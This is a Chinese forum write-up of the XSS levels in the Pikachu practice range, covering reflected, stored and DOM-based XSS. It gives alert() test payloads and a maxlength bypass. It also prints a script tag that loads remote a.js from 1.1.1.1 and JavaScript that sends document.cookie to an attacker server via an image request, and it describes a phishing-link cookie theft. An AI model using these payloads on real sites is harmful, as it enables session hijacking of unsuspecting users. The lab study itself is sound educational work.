首页
社区
课程
招聘
[原创]pikachu靶场--xss
发表于: 1天前 216

[原创]pikachu靶场--xss

1天前
216

xss--反射型/存储型/DOM

反射型xss是指攻击者构造包含恶意脚本的URL,当用户点击该链接时,服务器将恶意脚本反射回页面并立即执行。恶意代码仅通过URL参数传递,用户点击后即触发。

主要特点:

一次性攻击:仅对点击恶意链接的用户生效

需诱导点击:攻击者需通过邮件、短信等渠道诱导用户点击恶意URL

不经过服务器存储:恶意脚本直接从URL反射到页面

反射型xss(get)

对于验证是否有xss--rejected,第一时间想到的是<script>('xss')</script>这个payload

然而在我们输入的时候,发现还有个</script>没闭环的情况下,已经无法输入了

猜测可能是前端对输入设有限制,F12打开开发者工具找到对应的元素--maxlength,将其调大点以便于我们注入完整的payload(注意调整是一次性的,注入之后就会失效)

 

在我们将maxlength设为1000后再输入,发现已经能完整注入了 

提交后与我们预想的吻合,说明xss--rejected是存在的

 

反射型xss(post)

输入用户名密码登录后,再次尝试<script>(1)</script>,发现能完整输入,提交后也是显示1的弹窗,说明是存在xss--rejected

 

xss(get)xss(post)这两种类型有什么区别呢?

那就要说到getpost的不同之处了

http中,get请求的参数以明文形式显示在URL中,例如

 

burp suite抓包

post请求的参数是不在URL中的,只能用抓包工具查看

 

针对post型的xss-rejected,可以注入<script>alert(document.cookie)</script>查看cookie信息(已经有登录过程,会得到usernamepassword信息,但由于密码采取了其他加密手段使得我们得到的是加密后的内容了)

 

如果是在get型中注入的话,只会得到sessionID(只针对pikachu靶场环境而言)

 

 

存储型xss

存储型xss是指攻击者将恶意脚本提交并永久存储在服务器数据库中,当其他用户访问包含该恶意内容的页面时,恶意脚本自动执行。

主要特点:

持久性:恶意脚本长期驻留在服务器端

自动触发:无需用户主动点击,访问页面即触发

影响广泛:所有访问该页面的用户都会被攻击

同样注入<script>alert('xss')</script>返回弹窗证明存在xss,并且可以看出被服务器存储

 

我们可以注入<script src=http://1.1.1.1/a.js></script>到服务器,当有人访问此页面时,他的浏览器将会解析我们注入的代码,去http://1.1.1.1/a.js下载我们预先构造好的恶意脚本a.js

 var img = new Image();

 img.src = "fb8K9s2c8@1M7q4)9K6b7g2)9J5c8W2)9J5c8U0q4Q4x3X3f1I4i4K6u0W2x3g2)9J5k6e0q4Q4x3@1p5^5z5q4)9J5c8X3y4G2L8$3E0A6k6i4y4Q4x3X3g2H3K9s2m8Q4x3@1k6U0L8$3!0C8K9h3g2Q4x3@1c8Q4x3U0k6I4N6h3!0@1i4K6y4n7i4K6u0n7k6r3!0U0N6h3#2W2L8Y4c8Q4x3X3g2U0L8$3!0C8K9h3g2Q4x3@1t1`.

#创建一个不可见的image对象将当前页面的cookie通过URL参数发送到攻击者服务器浏览器自动向7a2K9s2c8@1M7q4)9K6b7g2)9J5c8W2)9J5c8U0q4Q4x3X3f1I4i4K6u0W2x3g2)9J5k6e0q4Q4x3@1p5^5z5q4)9J5c8X3y4G2L8$3E0A6k6i4y4Q4x3X3g2H3K9s2l9`.发起get请求,将用户cookie作为参数传递

 

利用反射型xss也能做到上述攻击

1.攻击者构造一个恶意链接:05cK9s2c8@1M7s2y4Q4x3@1q4Q4x3V1k6Q4x3V1k6W2P5r3q4E0M7r3I4W2i4K6u0W2j5$3!0E0i4K6u0r3M7$3g2S2M7X3y4Z5i4K6y4r3M7g2)9K6c8q4)9J5y4X3I4@1i4K6y4n7M7$3y4J5K9i4m8@1 src=474K9s2c8@1M7q4)9K6b7g2)9J5c8W2)9J5c8U0q4Q4x3X3f1I4i4K6u0W2x3g2)9J5k6e0q4Q4x3V1k6S2i4K6u0W2K9Y4y4Q4x3U0k6Y4N6q4)9K6b7W2)9J5y4X3I4@1i4K6y4n7i4K6u0r3M7$3y4J5K9i4m8@1i4K6t1$3k6%4c8Q4x3@1t1`.,并通过钓鱼邮件等方式诱骗受害者点击这个链接

2.受害者点击链接后,他的浏览器向服务器发起请求

3.服务器收到请求后,不加过滤地把参数q里的内容(也就是那个 <script> 标签)直接写入了返回的html页面中,并发回给他的浏览器

4.他的浏览器收到页面,解析到 <script src=...> 标签,于是立刻去 43fK9s2c8@1M7q4)9K6b7g2)9J5c8W2)9J5c8U0q4Q4x3X3f1I4i4K6u0W2x3g2)9J5k6e0p5`. 下载并执行 a.js,窃取他的cookie

 

所以不管是反射型还是存储型,在能达成的攻击方面没有大的差异,只是一个是一锤子买卖,一个是埋了块地雷

 

DOMxss

DOMxss其本质是前端开发中对不可信数据缺乏安全处理所导致的逻辑缺陷,攻击完全发生在客户端,不与服务器交互,通过javascript操作DOM元素实现攻击

主要特点

数据源获取:前端JavaScript通过location.hreflocation.searchlocation.hashdocument.referrerlocalStoragesessionStorage等获取用户可控数据

DOM动态操作:使用危险API(如innerHTMLouterHTMLdocument.write()eval()等)将未过滤的数据直接写入DOM

脚本执行:浏览器在解析DOM时,自动将嵌入的恶意脚本识别为可执行节点并触发执行

 

随意输入hahahahaha后我们通过F12找到对应位置:<a href="hahahahaha">what do you see?</a>,大概了解其构造

 

再看看这块儿的源码

 

也就是说我们只需要将前面的' 给闭合掉(有点像sql注入),然后紧跟着我们要注入的payload就行了,他这里给出两个payload#' onmouseover=alert(1)>:是鼠标悬浮触发,' onclick="alert('xss')">是点击触发,究其原因在于他已经为我们准备好了一个what do you see?的超链接,那这两种事件就显得合情合理



传播安全知识、拓宽行业人脉——看雪讲师团队等你加入!

收藏
免费 0
支持
分享
最新回复 (0)
游客
登录 | 注册 方可回帖
返回